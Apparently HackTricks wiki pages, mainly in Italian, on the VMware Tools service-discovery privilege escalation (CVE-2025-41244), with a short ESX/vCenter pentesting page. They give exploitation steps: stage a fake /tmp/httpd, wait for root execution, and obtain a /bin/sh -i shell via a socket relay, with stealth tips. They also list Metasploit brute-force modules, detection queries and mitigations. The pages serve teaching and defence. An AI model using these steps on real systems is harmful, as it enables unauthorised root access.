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- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
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- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
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- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
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- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
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- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
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- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
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- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
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# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
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{{#include ../../banners/hacktricks-training.md}}
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Questa tecnica sfrutta pipeline di service discovery guidate da regex che analizzano le command line dei processi in esecuzione per dedurre le versioni dei service e quindi eseguire un candidate binary con un flag "version". Quando pattern permissivi accettano percorsi non attendibili controllati dall'attaccante (es. /tmp/httpd), il privileged collector esegue un arbitrary binary da una untrusted location, portando a local privilege escalation. NVISO ha documentato questo in VMware Tools/Aria Operations Service Discovery come CVE-2025-41244.
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- Impatto: Local privilege escalation a root (o all'account di discovery privilegiato)
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- Causa: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
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- Interessati: open-vm-tools/VMware Tools su Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
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## Come funziona VMware service discovery (panoramica)
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- Credential-based (legacy): Aria esegue discovery scripts all'interno del guest tramite VMware Tools usando privileged credentials configurate.
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- Credential-less (modern): La discovery logic gira all'interno di VMware Tools, già privilegiata nel guest.
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Entrambe le modalità, alla fine, eseguono logica in shell che scansiona i processi con socket in ascolto, estrae un command path corrispondente tramite una regex e esegue il primo token argv con un flag version.
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## Causa radice e pattern vulnerabile (open-vm-tools)
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In open-vm-tools, lo script plugin serviceDiscovery get-versions.sh confronta i candidate binaries usando espressioni regolari ampie e esegue il primo token senza alcuna validazione del trusted-path:
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```bash
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get_version() {
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PATTERN=$1
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VERSION_OPTION=$2
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for p in $space_separated_pids
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do
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COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
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[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
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done
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}
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```
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Viene invocato con pattern permissivi contenenti \S (non-whitespace) che andranno facilmente a corrispondere a percorsi non di sistema in posizioni scrivibili dall'utente:
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```bash
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get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
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get_version "/usr/(bin|sbin)/apache\S*" -v
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get_version "/\S+/mysqld($|\s)" -V
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get_version "\.?/\S*nginx($|\s)" -v
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get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
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get_version "/\S+/dataserver($|\s)" -v
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```
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- L'estrazione usa grep -Eo e prende il primo token: ${COMMAND%%[[:space:]]*}
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- Nessuna whitelist/allowlist di percorsi di sistema considerati trusted; qualsiasi discovered listener con un nome corrispondente viene eseguito con -v/--version
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Questo crea una primitive di esecuzione basata su un percorso di ricerca non trusted: binari arbitrari situati in directory world-writable (e.g., /tmp/httpd) vengono eseguiti da un componente privilegiato.
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## Sfruttamento (sia in modalità credential-less che credential-based)
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Preconditions
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- Puoi eseguire un processo non privilegiato che apre una listening socket sul guest.
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- Il discovery job è abilitato e gira periodicamente (storicamente ~5 minuti).
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Steps
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1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx
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2) Eseguilo come utente a basso privilegio e assicurati che apra una qualsiasi listening socket
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3) Attendi il ciclo di discovery; il privileged collector eseguirà automaticamente: /tmp/httpd -v (o simile), eseguendo il tuo programma come root
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Minimal demo (using NVISO’s approach)
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```bash
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# Build any small helper that:
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# - default mode: opens a dummy TCP listener
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# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
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# Example staging and trigger
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cp your_helper /tmp/httpd
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chmod +x /tmp/httpd
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/tmp/httpd # run as low-priv user and wait for the cycle
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# After the next cycle, expect a root shell or your privileged action
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```
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Tipica catena dei processi
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- Basato su credenziali: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
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- Senza credenziali: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
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Artefatti (basato su credenziali)
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Gli script wrapper SDMP recuperati sotto /tmp/VMware-SDMP-Scripts-{UUID}/ possono mostrare l'esecuzione diretta del percorso malevolo:
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```bash
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/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
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```
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## Generalizing the technique: regex-driven discovery abuse (portable pattern)
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Many agents and monitoring suites implement version/service discovery by:
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- Enumerating processes with listening sockets
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- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
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- Executing the matched path with a benign flag like -v, --version, -V, -h
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If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
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Abuse recipe
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- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
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- Place it in a writable directory: /tmp/httpd, ./nginx
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- Ensure it matches the regex and opens any port to be enumerated
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- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
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Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
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Reusable privileged I/O relay trick
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- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
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## Detection and DFIR guidance
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Hunting queries
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- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
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- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
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- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
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On Aria SDMP (credential-based)
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- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths
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Policy/telemetry
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- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
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- File integrity monitoring on get-versions.sh and VMware Tools plugins
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## Mitigations
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- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
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- Disable or restrict credential-less discovery where feasible
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- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
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- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
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- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
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- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
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## Notes for defenders and implementers
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Safer matching and execution pattern
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```bash
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# Bad: permissive regex and blind exec
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COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
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[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
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# Good: strict allowlist + path checks
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candidate=$(get_command_line "$pid" | awk '{print $1}')
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case "$candidate" in
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/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
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"$candidate" -v 2>&1 ;;
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*)
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: # ignore non-allowlisted paths
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;;
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esac
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```
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## Riferimenti
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- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
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- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
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- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
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- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
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- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
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{{#include ../../banners/hacktricks-training.md}}
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# VMware ESX / vCenter Pentesting
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{{#include ../../banners/hacktricks-training.md}}
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# Enumerazione
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## Enumerazione
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```bash
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nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
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msf> use auxiliary/scanner/vmware/esx_fingerprint
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msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
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```
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# Bruteforce
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## Bruteforce
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```bash
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msf> auxiliary/scanner/vmware/vmware_http_login
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```
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Se trovi credenziali valide, puoi utilizzare ulteriori moduli scanner di metasploit per ottenere informazioni.
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Se trovi credenziali valide, puoi usare altri moduli scanner di metasploit per ottenere informazioni.
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### Vedi anche
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Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
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{{#ref}}
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../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
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{{#endref}}
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{{#include ../../banners/hacktricks-training.md}}
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